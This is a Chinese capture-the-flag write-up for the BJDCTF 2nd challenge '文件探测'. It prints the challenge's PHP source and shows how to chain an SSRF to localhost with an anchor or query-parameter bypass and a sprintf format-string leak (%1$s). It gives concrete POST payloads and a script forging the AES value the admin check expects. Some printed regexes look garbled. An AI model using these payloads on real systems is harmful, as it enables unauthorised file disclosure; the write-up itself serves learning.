• [BJDCTF 2nd]文件探测


    [BJDCTF 2nd]文件探测

    这两天刷题碰到了一道稍微有难度的题,记录一下,有一些点是未被掌握到的。

    home.php:

    <?php
    
    setcookie("y1ng", sha1(md5('y1ng')), time() + 3600);
    setcookie('your_ip_address', md5($_SERVER['REMOTE_ADDR']), time()+3600);
    
    if(isset($_GET['file'])){
        if (preg_match("/^|~|&||/", $_GET['file'])) {
            die("forbidden");
        }
    
        if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
            die("not now!");
        }
    
        if(preg_match("/.?a.?d.?m.?i.?n.?/i", $_GET['file'])){
            die("You! are! not! my! admin!");
        }
    
        if(preg_match("/^home$/i", $_GET['file'])){
            die("禁止套娃");
        }
    
        else{
            if(preg_match("/home$/i", $_GET['file']) or preg_match("/system$/i", $_GET['file'])){
                $file = $_GET['file'].".php";
            }
            else{
                $file = $_GET['file'].".fxxkyou!";
            }
            echo "现在访问的是 ".$file . "<br>";
            require $file;
        }
    } else {
        echo "<script>location.href='./home.php?file=system'</script>";
    }
    

    根据条件得到system.php:

    <?php
    error_reporting(0);
    if (!isset($_COOKIE['y1ng']) || $_COOKIE['y1ng'] !== sha1(md5('y1ng'))){
        echo "<script>alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');</script>";
        header("Refresh:0.1;url=index.php");
        die;
    }
    
    $str2 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;url invalid<br>~$ ';
    $str3 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;damn hacker!<br>~$ ';
    $str4 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;request method error<br>~$ ';
    
    ?>
    ·····································//中间为html。
    <?php
    
    $filter1 = '/^http://127.0.0.1//i';
    $filter2 = '/.?f.?l.?a.?g.?/i';
    
    
    if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) {
        $url = $_POST['q2'].".y1ng.txt";
        $method = $_POST['q3'];
    
        $str1 = "~$ python fuck.py -u "".$url ."" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";
    
        echo $str1;
    
        if (!preg_match($filter1, $url) ){
            die($str2);
        }
        if (preg_match($filter2, $url)) {
            die($str3);
        }
        if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {
            die($str4);
        }
        $detect = @file_get_contents($url, false);
        print(sprintf("$url method&content_size:$method%d", $detect));
    }
    
    ?>
    

    在这里他要求我们q2一定要有http://127.0.0.1/,但同时后面不能跟上flag文件,但是可以看到admin文件。
    加入我们跟上admin文件,但他后面跟上了一个tctxt文件进行了打乱,对于这种我们可以加上#即锚点,或者是加上参数。
    第二个点:这里有个%d需要注意,在linux当中,这是显示二进制的,在这里,%d会将$detect(即源码)以二进制数的形式输出,所以并不能得到我们需要的源码,所以我们要让他以%s进行显示输出。
    %s%或者是%1$s
    第一个原理是利用到了sprintf函数,sprintf()函数中%可以转义掉%,print(sprintf("$url method&content_size:"GET%s%%d", $detect)); // %d前的%被转义,因此失去意义
    第二个原理是:原理是%1$s会将第一个参数用string类型输出 payload:q1=22&q2=http://127.0.0.1/admin.php#&q3=GET%1$s payload:q1=1&q2=http%3A%2F%2F127.0.0.1%2Fadmin.php?a=1&q3=GET%251%24s

    <php
    error_reporting(0);
    session_start();
    $f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}'; //fake
    
    function aesEn($data, $key)
    {
        $method = 'AES-128-CBC';
        $iv = md5($_SERVER['REMOTE_ADDR'],true);
        return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
    }
    
    function Check()
    {
        if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
            return true;
        else
            return false;
    }
    
    if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
        highlight_file(__FILE__);
    } else {
        echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER['REMOTE_ADDR'];
    }
    
    
    $_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);
    
    if (isset($_GET['decrypt'])) {
        $decr = $_GET['decrypt'];
        if (Check()){
            $data = $_SESSION['secret'];
            include 'flag_2sln2ndln2klnlksnf.php';
            $cipher = aesEn($data, 'y1ng');
            if ($decr === $cipher){
                echo WHAT_YOU_WANT;
            } else {
                die('爬');
            }
        } else{
            header("Refresh:0.1;url=index.php");
        }
    } else {
        //I heard you can break PHP mt_rand seed
        mt_srand(rand(0,9999999));
        $length = mt_rand(40,80);
        $_SESSION['secret'] = bin2hex(random_bytes($length));
    }
    
    
    ?>
    

    这里我们进行代码的分析,发现只要不存在session ,且其他的两个cookie照常不变,那么我们就能进行到左后的判断了,这个时候我们将空加密的密钥拿出来,使用get访问满足相等的条件

    构造脚本:

    function aesEn($data, $key){
        $method = 'AES-128-CBC';
        $iv = md5('IP',true);
        return  base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
    }
    
    echo aesEn('', 'y1ng') //照着admin.php来就行,
    
  • 相关阅读:
    scrapy 常用代码
    pycahrm 基础设置
    pycahrm 激活
    pycharm 常用快捷键
    platform 系统是windows还是liunx
    (14)awk布尔值、比较和逻辑运算
    (13)gawk支持的正则表达式
    (12)awk数据类型和字面量
    (11)细说awk中的变量和变量赋值
    (10)print、printf、sprintf和重定向
  • 原文地址:https://www.cnblogs.com/ophxc/p/13154212.html
Copyright © 2020-2023  润新知